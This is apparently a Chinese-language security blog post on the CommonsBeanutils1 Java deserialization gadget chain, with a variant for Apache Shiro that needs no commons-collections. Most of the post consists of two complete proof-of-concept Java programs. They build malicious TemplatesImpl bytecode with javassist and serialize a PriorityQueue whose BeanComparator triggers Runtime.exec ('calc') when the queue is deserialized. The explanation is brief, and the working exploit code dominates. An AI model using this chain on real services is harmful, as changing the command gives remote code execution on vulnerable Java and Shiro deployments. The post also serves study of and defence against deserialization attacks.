基础知识 java.util.PriorityQueue
,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行java.util.Comparator
接口的compare()
方法。
而在commons-beanutils
包中就存在一个:org.apache.commons.beanutils.BeanComparator
,它的compare
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public int compare ( final T o1, final T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( final IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } catch ( final InvocationTargetException ite ) { throw new RuntimeException ( "InvocationTargetException: " + ite.toString() ); } catch ( final NoSuchMethodException nsme ) { throw new RuntimeException ( "NoSuchMethodException: " + nsme.toString() ); } }
其中PropertyUtils.getProperty
可以直接调用任意JavaBean的getter方法,比如:
1 PropertyUtils.getProperty(new Cat(), "name");
Trick1 结合TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package CB;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evilexp" ); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte [] bytes = ctClass.toBytecode(); byte [][] evilbytes = new byte [][]{bytes}; TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , evilbytes); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
Trick2 shrio无CC
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
当没有传入Comparator
的情况下,则默认使用CC中ComparableComparator
,所以没有依赖的话就会报错,下一步思路就是寻找一个实现java.util.Comparator
接口(以及序列化接口)的类:
java.lang.String$CaseInsensitiveComparator
java.util.Collections$ReverseComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package CB;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evilexp" ); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte [] bytes = ctClass.toBytecode(); byte [][] evilbytes = new byte [][]{bytes}; TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , evilbytes); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
参考 https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html